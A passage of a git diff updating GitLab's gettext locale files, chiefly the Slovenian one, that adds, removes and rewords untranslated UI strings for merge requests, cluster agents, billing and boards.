+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41521,21 +42190,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41548,6 +42232,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41587,9 +42280,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41620,9 +42310,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41638,39 +42325,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41835,6 +42513,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -42021,9 +42711,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -42048,6 +42735,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/sl_SI/gitlab.po b/locale/sl_SI/gitlab.po
index 3a549c0956b..84518212370 100644
--- a/locale/sl_SI/gitlab.po
+++ b/locale/sl_SI/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:55\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -303,6 +300,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -373,6 +377,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -464,6 +475,13 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -537,6 +555,12 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -623,6 +647,13 @@ msgstr[3] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -851,7 +882,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -905,6 +936,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -939,9 +973,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -966,6 +997,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -1000,6 +1034,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -1050,9 +1087,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1165,6 +1199,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1298,6 +1335,13 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "(this user)"
msgstr ""
@@ -1307,6 +1351,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1347,6 +1394,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1702,9 +1752,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1741,9 +1788,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1792,9 +1836,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1930,9 +1971,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2179,12 +2217,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2227,6 +2271,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2269,9 +2319,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2341,6 +2388,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2386,9 +2436,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2431,7 +2478,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2440,7 +2487,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2536,6 +2583,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2602,7 +2652,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3139,19 +3189,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3742,9 +3801,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3772,6 +3828,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3931,6 +3990,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4115,6 +4177,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4154,6 +4219,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4196,9 +4264,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4211,9 +4276,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4272,6 +4334,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4282,6 +4347,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4704,6 +4772,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4909,6 +4980,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -5010,6 +5084,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5658,6 +5735,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5737,6 +5817,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5746,12 +5829,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5764,6 +5856,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5859,6 +5954,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5871,6 +5969,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6162,10 +6263,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6174,6 +6278,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6421,6 +6528,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6715,10 +6825,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6769,9 +6879,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6784,6 +6891,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6847,10 +6957,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6914,6 +7024,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6930,9 +7043,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7131,9 +7241,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7431,6 +7538,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7473,6 +7583,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7515,12 +7628,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7542,16 +7649,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7563,9 +7685,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7575,6 +7718,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7584,28 +7730,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7617,6 +7766,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7629,60 +7781,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7824,15 +7994,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7959,9 +8132,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -8007,12 +8177,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8034,9 +8198,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
